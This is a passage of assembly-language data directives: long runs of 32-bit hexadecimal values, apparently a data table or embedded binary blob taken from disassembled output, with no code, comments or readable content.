dd 0CF4A31FEh, 2D591DAh, 4E20C569h, 6E2EC213h, 0CC131DF0h
dd 8C51EB4Bh, 0A4D1ECA1h, 0BFE4FD01h, 0A94030A7h, 35632293h
dd 0E0812BEEh, 9BC320DEh, 3A4230E0h, 0E8F424F8h, 9983DB94h
dd 0A7B2C8C7h, 9469707Ch, 0B6D4A8FBh, 0D767B758h, 0DD550F76h
dd 0E34EF3CBh, 0C3AD54B3h, 0AFEE6F60h, 30466BD8h, 0DFD414C1h
dd 43344F9h, 0FBBC0A3Fh, 590C9996h, 0B22F6101h, 8CC91CD7h
dd 30C0B167h, 9D9EA9EBh, 0C5BFCF42h, 1AD0FBE7h, 0DF053014h
dd 0E5090333h, 95B88A07h, 2257A037h, 4A2D0E52h, 0E6C4314Ch
dd 4800CBBDh, 9BB55A9Ah, 0D80F5A9Bh, 0FC3C745Ch, 0EA6B5C24h
dd 0FB284826h, 15B137E7h, 7A40A2D3h, 36801186h, 0C5BDC56h
dd 38463EE6h, 0B2D23202h, 347EE914h, 290D7F81h, 9B0F18CFh
dd 666302ECh, 1B4AE6D0h, 0DA5C0C73h, 0E7CEB352h, 0AD70583Dh
dd 0C02B51DEh, 0BA4BCA37h, 0F9F41039h, 96A36181h, 0BB15980Bh
dd 1769C60Dh, 394751h, 91A1B7CEh, 0EB92112Ah, 646FE0F7h
dd 0B2DD318h, 0D1687503h, 2887A4C4h, 8B7F5FE4h, 5277CB68h
dd 2F3B4D49h, 292E8877h, 52D338C0h, 0EEF46D3Ah, 237F8F9Dh
dd 2A4B0ED3h, 0C4BF845Fh, 0FA742B75h, 7C258E3Dh, 89889226h
dd 0EF133AADh, 19E8B417h, 65E835C8h, 7F8A4D7h, 0A3371201h
dd 0DEC13A3Fh, 0D2DF1309h, 0E935CD1Dh, 7CF3CBE7h, 6F98FE9Ch
dd 5530F75Eh, 7CC423BFh
dd 3DFC1848h, 9CA19E52h, 83AE2B70h, 6D480032h, 0CE11BB33h
dd 8452592Ah, 5790D675h, 506A1AD1h, 0D2F4A7ACh, 893044FEh
dd 1651244Dh, 7FCE1304h, 6D8C527Eh, 100AF55Dh, 8185C419h
dd 0DBA152BBh, 491F5369h, 0B3ADFE20h, 0E5034DFBh, 488E7799h
dd 0E44D1ACEh, 608A8F01h, 0ED217351h, 4AA5E79Ah, 0A07DE324h
dd 0FBCEED18h, 0A7EE7639h, 9D72A65h, 8FB5972h, 6A75C42Dh
dd 3624C4A6h, 85710E21h, 35FB8B4h, 777D8A33h, 0C771EE5Fh
dd 475F8592h, 525CF5BDh, 0BE29595Ch, 87264A17h, 5E7E8EC7h
dd 0F1B74D7h, 7D4268E7h, 4ED7347Dh, 9C085514h, 0DE7BA00Dh
dd 497DD5E1h, 28B80092h, 0ADCCF629h, 0AA52DF25h, 0FCDE971Bh
dd 5B9F74CBh, 12659FDDh, 1DFF2AAh, 949466D4h, 264D7451h
dd 97018A23h, 9ECE15EEh, 16CB63B0h, 14B92E4Ah, 8DEE72AFh
dd 371C6F7Bh, 1762CF21h, 0C2A2D0BEh, 8E1EC693h, 3E99EC82h
dd 38C23BE9h, 0FADA08Eh, 0FA158BD6h, 995A591h, 52FA3373h
dd 0C75876C1h, 90F77089h, 941B4682h, 0F186EDAAh, 41E5B18Dh
dd 26296C9Eh, 81AEDA3Fh, 0D462FF52h, 0F99D57CDh, 35A8F901h
dd 0E8C8F919h, 911C802h, 0CADD9BE0h, 96E02640h, 1561F0B4h
dd 0B59E4585h, 0E742C79Ah, 3CB79E8Fh, 4A18BC8Ah, 5C1F4A12h
dd 295B0D68h, 2DF5741Fh, 98972A10h, 34A6BD8Fh, 6FA4D330h
dd 1E10BA1Eh, 0FE80B34Bh, 0FDF00A50h, 8CC5DE62h, 0B83F2D71h
dd 407C8E5Bh, 2C4C9B72h, 0E129BE36h, 0FA52AAB3h, 0B2D981FBh
dd 83744090h, 41F93FD5h, 6DF464C1h, 0EABF0803h, 90838B96h
dd 7584E3C1h, 0D2840D12h, 71BBEB50h, 8FA6DF62h, 0F96C2FF6h
dd 6DA14420h, 9B1E850h, 0F9D256A3h, 0A1979CC3h, 0BE35404Bh
dd 4993542Dh, 7A4F2FB1h, 24A79C1Eh, 0ECDACC4Fh, 4B532E84h
dd 0AEB65308h, 3585CAD3h, 1738A09Eh, 0B8427B1Ch, 3289738Dh
dd 1472825Ah, 0FC1B3759h, 2853A828h, 95C642D6h, 184B3BEBh
dd 882AD93Ch, 3358E590h, 17F38DDAh, 2BCF20D0h, 8FED2F1Ch
dd 0F08C0899h, 0C190E96Bh, 0D850FBD5h, 0FC20D677h, 6860D6D7h
dd 3FD21965h, 71EE8C2h, 0FBFE336Ah, 0EE27D3EDh, 72E72EB0h
dd 0BC19FC77h, 45D43A11h, 0D0CE8A3Ah, 0A680D2F3h, 0D76985A7h
dd 0C35F08E9h, 42837348h, 9F26679Eh, 0BF5D59A5h, 0FE9B3EA2h
dd 0E3D8B0DEh, 358F13DDh, 0DFADAEE7h, 0D98F9108h, 0FD866C88h
dd 0A5EDCFB9h, 61A378BDh, 0E5AACAFCh, 0E5E886B2h, 6F82F801h
dd 0C3DDF54Fh, 6F70183h, 7961B962h, 0EAC27AD3h, 993310A1h
dd 0FBA3330Bh, 22E74224h, 9A0152BCh, 0B8C25426h, 0B2AFD031h
dd 3B1C7407h, 95E97ACAh, 545E2BABh, 557B4EBAh, 77292161h
dd 9F315BB5h, 0F2755C9Dh, 2AD20D37h, 267CFD76h, 61AE83Ch
dd 0E4668644h, 7EB0D8D1h, 0C9FD9E05h, 866778FFh, 711A2707h
dd 0CE47D247h, 0D4A6AACh, 2178BF8Eh, 0DB028A9Fh, 2ECA7002h
dd 0A9712D96h, 8FD6DFE8h, 0E6D27459h, 495C89FCh, 9ECE23F9h
dd 0DDA4A01Dh, 53EEA836h, 1EABFFB2h, 0DBC9D6B6h, 99DF407Eh
dd 0BDABDA8Bh, 52F8031h, 3C9C7B49h, 7C3B707Fh, 0CCDFE25Ch
dd 0FD027E9Fh, 8995763Bh, 0DFA5B734h, 0D1A4AAF7h, 750446A8h
dd 636A83B5h, 0A1669D4Ch, 6EDC2311h, 41F2EC97h, 0B7A0F568h
dd 0E1D6E69Bh, 0A5E98BFDh, 3C817964h, 0EEAD0525h, 73B9C130h
dd 0F4BBC69Ah, 84CECDD4h, 0CE3DDB4Fh, 0B32BFEBEh, 6443D0B3h
dd 8C933DA6h, 0F36980A5h, 9FFFDA7Ch, 0D16AFFD8h, 0DF6986FCh
dd 4AE9A884h, 31F4EDAAh, 301756EFh, 3454D166h, 0B798F2ACh
dd 80E40AFCh, 0B3A72C7Ch, 3DEFE9DBh, 0F03898E2h, 6F9BFB7Dh
dd 0FBF40E85h, 0A7327076h, 26E24609h, 103DACF9h, 9C2D6D8Bh
dd 0CBE2DCCh, 0CA138CCh, 0AE5247F5h, 0B8A6F9B9h, 7C0FCA14h
dd 1E09F039h, 0EFBEEE1h, 0DF6FB16Ch, 0A0217421h, 8FAA38E8h
dd 95B45E36h, 13C1A828h, 0D1A41651h, 0B5FA49A6h, 17B0C6F9h
dd 1C4D1516h, 46225A33h, 0D84E25Eh, 0C49E6768h, 55FA2734h
dd 88228CA3h, 693A6117h, 0FB3F7E2Eh, 0F2642742h, 59E1DBF4h
dd 0B8A4B019h, 0BC574D0Fh, 0C2525169h, 8A64790Ch, 1B453977h
dd 1F6A6313h, 77F511B7h, 21EAB612h, 45B6C3D2h, 540AFF85h
dd 96AE850Ch, 0FAE6BF93h, 0FCB0D3B5h, 0AF43DF3Fh, 0CC584D3Dh
dd 0B530E540h, 8DB8F390h, 15A689C6h, 152BCDE6h, 0CC9B7EF7h
dd 3805B47Eh, 22CDB37h, 1BA0BA29h, 4764901h, 0C22BABECh
dd 14E76B11h, 67417E8Fh, 73A9D5BEh, 7CA237B8h, 0BEC795EDh
dd 667AD571h, 670B0B21h, 0FA255AFAh, 0F1D09531h, 10B452ADh
dd 1C36DC16h, 0B7C717D8h, 2AA16B8Ah, 0A005E3B4h, 0B712A9AFh
dd 5CF713Fh, 0BBDED52Ah, 781245BBh, 0C8838036h, 31405C06h
dd 46E94DD3h, 0DFEA5F2Ah, 0F73125B2h, 0BCCCAA36h, 779948BEh
dd 6D3BBBA8h, 459723BEh, 0E6F54C10h, 0D041981Dh, 33DF3B1Bh
dd 80E51B1Ah, 0B9C1FFB8h, 0F2D1E6D2h, 6A558B4Ch, 0DA718D54h
dd 1903F86Fh, 0FD798698h, 1F2F21F3h, 9592D1FCh, 842B8913h
dd 222BDF85h, 0C0E40C41h, 0ED63FD97h, 616011F3h, 5F5FD2FEh
dd 0D6256F2Fh, 814EECFDh, 1C3507BFh, 5D2F636Fh, 3B972391h
dd 0BE83D600h, 0AEA982D1h, 747B4976h, 4FCEB15h, 8E2FD2DEh
dd 3AF9CB3Dh, 83887E37h, 34FFEDF9h, 554C4E1Ch, 88C90294h
dd 0B5720153h, 5B4193CCh, 67CAEF25h, 1AB6D80Bh, 1C74A20Ch
dd 0AA8717C4h, 0CE3F755Fh, 0D17F7A9h, 0D21DDAC6h, 10416A09h
dd 6D99052Bh, 0DFF53161h, 7312D2CCh, 0D70A842Ah, 1200A4C6h
dd 32686CAh, 0DA2D5A2h, 0E784185Ch, 22FE223Bh, 0D443D9ECh
dd 7DFF1564h, 768E9382h, 1C51D7CBh, 18E01FBDh, 35B14392h
dd 5C85E675h, 0D334B623h, 29E76F49h, 9E20D0E0h, 8836FF65h
dd 53D35680h, 5612D4D9h, 0E4C4BC89h, 606695C2h, 5343370Fh
dd 5E9B346Dh, 7C80C045h, 0A32B9969h, 0C2C5FB76h, 432FAFABh
dd 7C0B64h, 3C05B9FFh, 2BAED153h, 0C59588B9h, 19FED9EFh
dd 0CB392193h, 0BF0A6FFDh, 6D295B0Bh, 0D9696F66h, 0EB2434AAh
dd 406E83EBh, 6D131BFBh, 0BD7C6DE5h, 25B3225Ah, 7E3CD2EBh
dd 0B55E3DDFh, 0AF27CA16h, 71B62B03h, 0E8B33EBFh, 0AB3B23B9h
dd 0B186148h, 0AACFCCB7h, 1CD0D3B1h, 2FF3EB44h, 33879323h
dd 58011CF5h, 0D87BC4F7h, 66F6D94Ch, 3D3F0BD6h, 5103C627h
dd 5DA31C48h, 842DFD7Eh, 78A78707h, 61762ABh, 81484DF8h
dd 0D6F4C7C0h, 0FA94611Bh, 763EC4BFh, 3A2AD78Dh, 0D52D7A23h
dd 204BD4DFh, 0BA734684h, 5F8E9683h, 4444D197h, 87AAD60Ch
dd 9CE06BBEh, 0B896CD8Eh, 777CB578h, 1E1DC812h, 0CCD699EBh
dd 0B46357F9h, 0DC2A6E1Fh, 2E4EE267h, 7647C0C6h, 42F0F542h
dd 8E88296Ch, 9E406E4Fh, 817172B1h, 0ED59EA0h, 0B2182CB8h
dd 98583263h, 0B2149F54h, 0C4370711h, 9929403Dh, 76A88A91h
dd 9803F4C9h, 98467A1Fh, 529D9EB9h, 0DEF5EE85h, 0FF11D8F2h
dd 7C4D7923h, 6A58A30Eh, 4669CB6Bh, 31F1C0DDh, 0C7900B8Ch
dd 0A18E5542h, 465C1Bh, 0E159CA76h, 7F7B06D7h, 0CF8B049Eh
dd 0FDED9034h, 0B7FADE4Ch, 0CE791516h, 8C862D54h, 660D48F5h
dd 0D2DD3B75h, 0B5348964h, 7B5A842Bh, 3A58A5B8h, 679D8BA7h
dd 57CC81F9h, 0E391E4E6h, 4BA29965h, 69F2BECAh, 204EB8DCh
dd 5830E594h, 56CA36F4h, 0B2FFC309h, 0D3714C35h, 4FAB78E5h
dd 84500938h, 0CC84A88h, 2C5B0F10h, 0A6992B62h, 0B7B16DEAh
dd 0CBF68820h, 875461B0h
dd 0E5EF4E0Fh, 0C4E2CD93h, 47C5E345h, 92DA6753h, 0A0945A24h
dd 4E899497h, 389C0E84h, 0C64F6218h, 0BEBCEA3Dh, 0ED439C53h
dd 327453D7h, 65AB1BFEh, 0C828187Eh, 11BE78AAh, 381FFAB4h
dd 4CB0F03Dh, 0E1A7D1EFh, 0D5F344A1h, 11B10588h, 6F07200Ah
dd 0CEF7E182h, 7F3C4291h, 77859FEBh, 0F05C7475h, 0C04042A1h
dd 765C1C82h, 0F004E077h, 7353CE6Dh, 47D23824h, 6803DADAh
dd 4BCAECD8h, 0F1803855h, 9C02807Ch, 6DAD82CCh, 40A445B4h
dd 0B9C4914Ch, 0F8A5EF6Ch, 0FDF35409h, 0EA9B0D7Dh, 795CA1F3h
dd 0AB876D63h, 7A145AB0h, 7A6FDD57h, 13844177h, 5C068F2Ah
dd 423B1243h, 7D1A738Bh, 0F81BE518h, 38E8D29Dh, 3326588Dh
dd 6908E88Ch, 0C667A44Ah, 42030D67h, 12DC9F3Bh, 0EDE7735Fh
dd 57F75641h, 93AFFEB8h, 0F9C6525Eh, 0C3B72212h, 0CA552B2Fh
dd 86D07E77h, 0A93BE02Dh, 57688162h, 8EE1595Ah, 7A71473Ah
dd 0B1C33110h, 4D5C4BA8h, 7A1C535h, 477DAB94h, 471AEAD8h
dd 49E19535h, 5259E9Fh, 12BA066Ah, 24DB03CFh, 4554EA1h
dd 31AC7AE1h, 6C295289h, 0BCA21296h, 0CA0D8271h, 6F78EC58h
dd 0B8B9EDFCh, 811D4A07h, 0B706F934h, 0F771604Bh, 62ACCB33h
dd 0BB0E1636h, 0A65AF412h, 6B1E2EC3h, 1D80A428h, 0DAA2B35Eh
dd 3AA9C9E4h, 3DD475F4h, 27849895h, 7D66F07Bh, 0CC58D2FDh
dd 6847B743h, 0D8D34D7Fh, 77DAF14Fh, 8C44D3EEh, 0C77CB541h
dd 1A81BD21h, 802C530Dh, 0BC5E2D4Ch, 8EB32A94h, 14F600CBh
dd 496E4B0Bh, 0DAAF7D17h, 44054B6Ch, 37953051h, 0ECEA541Bh
dd 1FCFB2F5h, 0C645A507h, 15273435h, 0E6792D92h, 4588B04Ch
dd 0B1123A8Ch, 0DE4C8CBCh, 9CBF6180h, 0F7D84D6Fh, 2C585AA9h
dd 7D8F0A1Fh, 1E958EBBh, 0FA087557h, 53ACFCE3h, 1E8350E6h
dd 0C9927873h, 0F76CD2CFh, 0FCD66751h, 0C0B1A3C1h, 4D2D0DF2h
dd 0BD8B0D15h, 0CD7D1E5Eh, 0D1058DE1h, 76A53C36h, 8AA905ADh
dd 66A4BCAh, 481977ECh, 136BCBC6h, 0E408075Eh, 0ACC87083h
dd 9F0104FAh, 7D488294h, 0BE4C69D6h, 0AAA74FDEh, 0FA42FFBFh
dd 9F3C391Fh, 3341BB9Fh, 96F9D0A8h, 0AE111B52h, 3E8D4D0Dh
dd 92A0D569h, 4320C6Bh, 0A0907E29h, 1AA200F6h, 52C2CDB3h
dd 6D63A25Eh, 0FFFF73E5h, 8AB23A1h, 3FC8281Fh, 0FD827F8Ah
dd 3AB33D2Bh, 0AFEAC9Fh, 29861C08h, 0D9055286h, 5AFC2E9Ah
dd 7F0FEBEh, 0A7AC271Ch, 92E1C6EFh, 96BD2620h, 0D1D0EB0h
dd 0D21A934Ch, 39F176Ch, 0D008E851h, 7EAA45E8h, 204BA16Eh
dd 132F0BCDh, 0ECF0B9EBh, 8326F745h, 1DF7CFAEh, 0F810FF3Fh
dd 587DDD4Fh, 0E37C4092h, 0A74740A9h, 0F31892DDh, 1561E0EEh
dd 1EDBF84Ah, 57E0B62Dh, 32D7D9CBh, 0B5A7553Ah, 655E25E4h
dd 4E2A71FDh, 3D7EDA2Ch, 5BF34213h, 0FB480076h, 0FDCE6BFDh
dd 91659B79h, 2D548DB1h, 0BA68BFA9h, 0EF2D1B2Eh, 47CC2088h
dd 763AA8AEh, 4810DF90h, 0C1C32EF0h, 0E36A7A84h, 979E3DA3h
dd 0D144F2A5h, 0FE6C611Dh, 23134ECh, 0C3629A65h, 0D8A34892h
dd 0CDA6D4CEh, 6DBE7BCh, 663BA915h, 1D5A84A5h, 0ED6A6126h
dd 0A931B78Eh, 3155DD9Fh, 0C51F154Dh, 31FB3DB7h, 3431FFD4h
dd 1F9BF50Eh, 3DBB5BF6h, 9BD5E46Bh, 41B2A715h, 0F154BA4Fh
dd 0DE4514A0h, 77271F06h, 0C6D5D132h, 0C48DDBE5h, 0E3903446h
dd 1DAF0EC5h, 6A3EF505h, 87EACAB8h, 272ADBA8h, 137CAB4h
dd 3783B3BFh, 89273697h, 381D9363h, 17047438h, 0BB894B12h
dd 0F0492A72h, 0FF3E2CD6h, 0AF62A0D9h, 5E530C52h, 7A3DCB5Fh
dd 85D9489Eh, 0CB64AAFFh, 1A69A4B8h, 86A1DC0Ah, 0F4834ED3h
dd 0FF1116E8h, 0BD2FDB0Eh, 5C6E618Bh, 83D899A0h, 10657B26h
dd 9B03A8E7h, 7A2036C7h, 782CFA6Ah, 50AA51F9h, 11EE6DBDh
dd 208D4DD6h, 2AAD25B2h, 8377316Fh, 0F613CF52h, 0B5911F2Ch
dd 196919BFh, 0AA68FFEEh, 19E9DDD6h, 733F499Eh, 21A150A5h
dd 8CF12AFFh, 55FF9EF2h, 75F80BD1h, 0D5E7AA85h, 0D593A49Ah
dd 4B5A42D5h, 203965D4h, 387ADF3Fh, 76D006F5h, 0CC6F6CEBh
dd 4204EDFh, 224BD3D2h, 1CD31E44h, 58EDFB48h, 43AAD557h
dd 2364B9FAh, 2C2A69Ch, 773BCDA8h, 0ADE14CEAh, 703E95DFh
dd 9360DF7Ah, 4EEE15F2h, 0A3450608h, 2E2EC7D9h, 5C26F7C2h
dd 600C54FCh, 10F694ADh, 0C8FA56F6h, 1CCD011Fh, 0A5616979h
dd 1FBFAA6Dh, 0B70A9C18h, 0E9F22F28h, 60F86127h, 49FB59A4h
dd 0A440BD89h, 82897344h, 0FB9543C5h, 6A8FCCD7h, 1E813740h
dd 238E2F76h, 582F0BBBh, 0E154DA9Dh, 0C8786A93h, 46E5A0ADh
dd 7B34E8FDh, 40F88103h, 0ABE85A56h, 79A0DC73h, 67347D9Eh
dd 5929499Ch, 0D97E8F28h, 163A50FFh, 0B98C8346h, 2204AB0Eh
dd 0BB5CA8CDh, 51AD6FB6h, 22AFC202h, 291C5819h, 7C768F60h
dd 4C3DAF3Fh, 91528A05h, 62F4897Eh, 2799E89Bh, 97098C8Eh
dd 59B46681h, 5EF607BDh, 0D896804h, 0DF84A376h, 0DEEE3EC0h
dd 0ED80C090h, 42E83DC8h, 0DD4D0D15h, 49F072E9h, 4566084Bh
dd 0E2CD0495h, 9BB41439h, 0F27520D2h, 230CB235h, 2E6B0446h
dd 6F89147Eh, 0C657D014h, 0BA104E6h, 8C431EE8h, 0C69D7E34h
dd 9695473Ah, 8EB08F6Bh, 99C85325h, 6F46CE98h, 0D378C831h
dd 94B96A81h, 6C0ADBEEh, 83E8E7BAh, 0EFBBC0AEh, 1ACAAE51h
dd 12C01A70h, 0E381980Eh, 0DA6A2791h, 8CE0E111h, 0A6F50B59h
dd 4EB903C0h, 0D45483DFh, 42847F92h, 1A578F3h, 0BAA3A2F4h
dd 3E368AE8h, 0ED4EC656h, 3BB96817h, 3732C014h, 115A598h
dd 9A3E8A5h, 0FFAAEC2Ah, 32AB265Ah, 0FB615897h, 66C4935h
dd 8E91B5F2h, 9F0728EDh, 7B6CAA88h, 0D62D4129h, 49E974C7h
dd 0F5B77788h, 6AB5CD0Ah, 0EAA8CD1Dh, 4A5780D0h, 6A6194E7h
dd 83CC8191h, 3C83E0E1h, 73BE98E1h, 1E5BA9DCh, 36BA83C8h
dd 0DEC45B52h, 0CE253DB7h, 0E74AB924h, 0B18517B3h, 0A6EFBF3Bh
dd 0C0109D2Eh, 92B969A8h, 530C31E6h, 690F05B8h, 0B3AD850Ch
dd 4D3D12B6h, 78FCE891h, 0FB819C6h, 0D6B79AD1h, 0B858A187h
dd 4BFE20D0h, 0BB205855h, 24FC748Bh, 2BAD45h, 9F582A7Ah
dd 5A1B5B03h, 0B2258344h, 110C553Fh, 0DC033E5Bh, 0A4305B21h
dd 29D29E23h, 5541C024h, 4C6F6816h, 1B9314A3h, 9CEF58E5h
dd 0EBB9FCDDh, 0C0BE0C76h, 129E6EC1h, 47C4328Bh, 0AD68337h
dd 2C2F1914h, 906D66DCh, 0B7B190CEh, 7F048F7Ch, 6283103Ch
dd 9A8DA85Fh, 713FBF59h, 47606D80h, 0BCBF80F8h, 0CF4ABA79h
dd 943D73F4h, 0B3CAC63Dh, 658E0870h, 0C7F1AFE2h, 0DB4FA8A7h
dd 0D58E2257h, 13E51A93h, 0D0CC1335h, 82FBAA42h, 10946462h
dd 430A3D60h, 46BB72F7h, 0B8F86396h, 5D9B6EFFh, 29BD5949h
dd 56C8B8Ch, 31847h, 7811F02Dh, 2AFB38C6h, 45CEDE5Ah, 8BEA4734h
dd 0EEB04EAAh, 291C0B60h, 0C6AC1620h, 0B9BAF2B8h, 23384CD2h
dd 6BC4404h, 87E1E89Bh, 0BCA7C18Ch, 0BA3D7223h, 8784CA48h
dd 8856E135h, 0B3A482D7h, 0C937E510h, 4BB122EBh, 780A8FD4h
dd 8CDEC892h, 0E40EE342h, 0EB7C259Dh, 0A0273342h, 1AB2C5F4h
dd 4E16F08Ah, 3F37970Fh, 91B7E968h, 0F2A43F19h, 16B53BEBh
dd 28EBC0B4h, 228C5450h, 0F6EF6EDCh, 0DC61C7C9h, 10138D30h
dd 5E2799D9h, 0B5057690h, 19B4846Eh, 11DC3E58h, 37F6EE81h
dd 0EA6EBEDAh, 44B8E762h, 0CA052C21h, 0ACDDA452h, 0AEDB751Dh
dd 0DCD8602Bh, 95E5F384h, 0B9CFC249h, 8E183294h, 0E6057FD0h
dd 5C15889Fh
dd 3B188603h, 54E9971Ah, 87DC9AD4h, 6537FB7Ch, 0F2976C7Dh
dd 2E145473h, 0AC766209h, 4135AEBFh, 0AE1D2249h, 3D0D8C39h
dd 0B645BE1Dh, 0F57130E7h, 8B3681C7h, 0DC60D9FDh, 420D4FEFh
dd 0BDF963E9h, 0C41338CEh, 0E5ED36Bh, 2ACD74D0h, 414C810Ch
dd 8E67F4C6h, 0E7972384h, 8CFBAD95h, 72AB0DFh, 0BBCE0A75h
dd 36EA8979h, 0FB1656D5h, 0A2070013h, 0C5D6DAF2h, 79539545h
dd 0DB746353h, 0A52631E4h, 0C6F100BEh, 0B0133C92h, 9F91B77Dh
dd 57676319h, 69231B09h, 550CE38Ah, 9D90F282h, 0F827F27Eh
dd 78294B06h, 0A803C6A3h, 0EB17DF40h, 3C5701FEh, 750007BDh
dd 42612D29h, 138369BBh, 10B31BA6h, 0ACA00D82h, 0B0CF5B93h
dd 676C270Eh, 0E66523B2h, 9EAB3A2Dh, 7E0F654Ch, 4B6E75C0h
dd 0B2DA0D68h, 0D9F0721h, 480ABD1h, 48580662h, 8AE1273Fh
dd 86E6C826h, 99FB743Dh, 0B0539B8h, 5E65A55Dh, 0B799535Bh
dd 0A7E014F7h, 257DED4Bh, 0AEC5F79Dh, 7CBF261Bh, 2925BA6Fh
dd 44268BD6h, 0B39765AEh, 0E64443FCh, 0B189EA1Eh, 40D20595h
dd 0E3AD3213h, 0B361E7D6h, 3673212h, 7E6D90D2h, 0B349ADF9h
dd 4BB5C81Ah, 0D976FED0h, 273F9A80h, 6B66FC9Fh, 488A3FC7h
dd 3F787DA4h, 6F2CDACAh, 528D50Bh, 5C9A7B9h, 5800C4D5h
dd 0BE8751F9h, 0CC6FF3CFh, 0ADD73560h, 0C62E94A4h, 5E87D1A3h
dd 0F4B33E8Bh, 0F7D69646h, 0E03167C6h, 5B04F5BBh, 8F1CD1E4h
dd 0AFCFC92Ch, 91CCD1B2h, 100CCF44h, 0A5FCC5C8h, 0DD9E64CEh
dd 2BB93030h, 0F6C31759h, 99444E30h, 0F2068556h, 2F206F26h
dd 0A7E68487h, 2CD64F24h, 0A6DC4343h, 20173A68h, 0A4DD740Bh
dd 77AC7F09h, 0F7E47B94h, 2BC6BD7h, 1D0AFD0Ah, 0E23563EAh
dd 0E328EBF4h, 834BF8CDh, 0E423AC55h, 760617F2h, 67A51BDAh
dd 0C930E8B3h, 20077B51h, 9320A1F0h, 6ABF0CADh, 66ABA760h
dd 9D36983Ah, 407177CDh, 0C0F9B07Fh, 0EB3EBCEEh, 1FAA123h
dd 55BA2842h, 155B5001h, 0BAF1EF4Ch, 0C40069C2h, 5E376209h
dd 90C0C189h, 0BE06170Bh, 22EC0404h, 37D276F8h, 28AB60A8h
dd 71AF7EB9h, 108D052Dh, 9A8DE5AAh, 67BD438Dh, 1BD6191Dh
dd 0B801706h, 0E4890ACEh, 4D2E4E2Ch, 9622E2F7h, 39C141A9h
dd 0DFB2ABADh, 84D7E3E5h, 0C521E1FBh, 0C799ABC1h, 66385255h
dd 0D25054E3h, 8F2CB580h, 510A5F5Dh, 6AE79FBAh, 0A37743AFh
dd 0E1E06861h, 5D6CDF1Bh, 8E6B1BCh, 815A3876h, 0A0CAAC5Ah
dd 0ABD7A135h, 83B304CAh, 1F23921Eh, 3C6738BFh, 0B6D27764h
dd 0E92DBB47h, 0CC52BAE7h, 396F10F9h, 434674D6h, 0E1E741E2h
dd 5DDF8D3Bh, 35970A4Dh, 4EC46411h, 0D852B8E2h, 7AB09C8Dh
dd 451DB373h, 0FF574181h, 8687FC72h, 0B791AE8h, 0F5360C3Dh
dd 3F2F9D57h, 659696A2h, 21A7FCF9h, 0FBAF157Ch, 1EA6361Bh
dd 0F3ADC8DAh, 8C133E1Ch, 11334F01h, 0AB99C5Ch, 71BD8673h
dd 2FA6AE3Ch, 5CAB82B1h, 2AF9642Bh, 0F08CBD97h, 36F6F387h
dd 0D6B91EE2h, 0CAB76242h, 0DABEAE7Fh, 0AFE01440h, 0B1403759h
dd 23B9B90Dh, 9241B569h, 8C91C7C1h, 0D680D205h, 6AFDCB88h
dd 0CDCB15C2h, 715F0ED0h, 0E29F3589h, 0B5C4E72h, 78111336h
dd 781DDCECh, 4850C47Eh, 87326252h, 0B0E99B0Ch, 14CFC93Fh
dd 585BE58Bh, 3E29C11Eh, 8F9AA951h, 0DF6A30F0h, 2A66E1CCh
dd 0FFCBD8Eh, 0A5C7AD75h, 75BBB224h, 0CFF5D162h, 0A717ACA0h
dd 0DD7946D0h, 10A834D3h, 3813B3CBh, 0B4E9B441h, 2947A6F3h
dd 6C320DBFh, 9C144A68h, 2B46F4FAh, 31189500h, 0DD148F76h
dd 53206FADh, 0D40B46AEh, 0BE3F4A34h, 0C28C855Dh, 719C8970h
dd 0F361DAAFh, 68B8035Dh, 0B32800D5h, 9F164289h, 0CBB6A819h
dd 0BFA34652h, 69C58D59h, 5FEB6882h, 0ACCBA30Ah, 32A8BE35h
dd 184F27A0h, 33D2C06Ch, 12AA7500h, 6DD2B189h, 0CE2E5FB3h
dd 546A20Ch, 16B8A532h, 1BFCF4EDh, 0B24C32F3h, 5162055Dh
dd 1C719612h, 4ADC83B3h, 0DF20A8A0h, 0B528E682h, 17F4005Ah
dd 3B696ACh, 0EB38C117h, 0D5EBCA1Eh, 0BA449DDFh, 0FF1D326Ah
dd 47B9B182h, 178ABEBCh, 25BD2FDAh, 0C7BCF060h, 4CB18E20h
dd 7D4FF104h, 0B0AC71ABh, 0DB11BA26h, 0AA7855AAh, 48D9C163h
dd 0B115D461h, 5A0184DFh, 45969A5Dh, 25331A4Fh, 0C0A6BB31h
dd 0FC85AB38h, 0BFDF5278h, 0FE97356Ch, 0EA24EBC8h, 0A449FF3Ch
dd 0F8398CE4h, 5ED37E76h, 0E427AAB7h, 1035F8F9h, 0B9059454h
dd 5580BCD7h, 66F7CFECh, 3DA237E3h, 4342CE02h, 2FDA7B09h
dd 43AE833Ch, 6F31EEECh, 0F74A0430h, 0BB3E273Fh, 68D8DCE4h
dd 6966E04Eh, 1030A722h, 2EF56F61h, 0C4C712C4h, 87A3369Ah
dd 0F2CA6875h, 0FE241762h, 0DC9D8D70h, 0BA6D366h, 0C1BBE2B7h
dd 1893C875h, 0C0F13559h, 84AF5194h, 0C59DF13h, 153B98A0h
dd 0ABB8C6B7h, 9D4F1230h, 0F1B84731h, 0D3FC11A9h, 0AB5481DDh
dd 888B1777h, 45BBB183h, 86E93C77h, 0D2342981h, 77672805h
dd 0BF8DF0C7h, 98E9580Dh, 18B5C4A5h, 85065BD2h, 775D9E18h
dd 0AACC28Dh, 914F86CFh, 0BED2D418h, 8A94DB3Bh, 2A38AA82h
dd 0DF223CE5h, 3C89E3h, 0B8395646h, 27C62143h, 0A0C0AD6Ch
dd 0EE7DBDA9h, 4A5A5F6Ah, 5C0E114Dh, 0A3A71F0Ah, 720442CFh
dd 845A28Fh, 85DA790Dh, 0E7416ACh, 5433696Eh, 0B2F5F311h
dd 0AD78CBDh, 41984BA1h, 81F71743h, 0B4F281ECh, 0EA47BDF9h
dd 7118DAEEh, 2910364h, 9E6B8BF4h, 0CB3739A1h, 7D26EAAFh
dd 8E12D14Bh, 0C8899CF6h, 0CC358F6Dh, 1887B85h, 676C16BEh
dd 4E8A5BAFh, 0EA00B820h, 0D929B141h, 8352D16Dh, 0CC3FB86Ah
dd 983CDF39h, 0D15B9F44h, 0F16F2473h, 68691BBCh, 5A8062B3h
dd 5B3C9A40h, 70C0621Ah, 5983CBECh, 9E2FAA7Eh, 0EAC38668h
dd 0FB9B79DFh, 0B4ACF71Bh, 0B096F19Ah, 550CBA18h, 838B0B70h
dd 0B9F57DC6h, 1A3CCD18h, 9B9ABF0Dh, 4C07231Fh, 0A82216ABh
dd 51CE76F6h, 0A8E6C156h, 2B7DBEADh, 0F52C1257h, 73773530h
dd 0FED743EDh, 58B2953h, 0A9DD4B9h, 9E90FF4Ah, 834FE2Bh
dd 7E51FEAFh, 2B82C9Bh, 0D65B7983h, 0E26C4254h, 0EE0CE9E0h
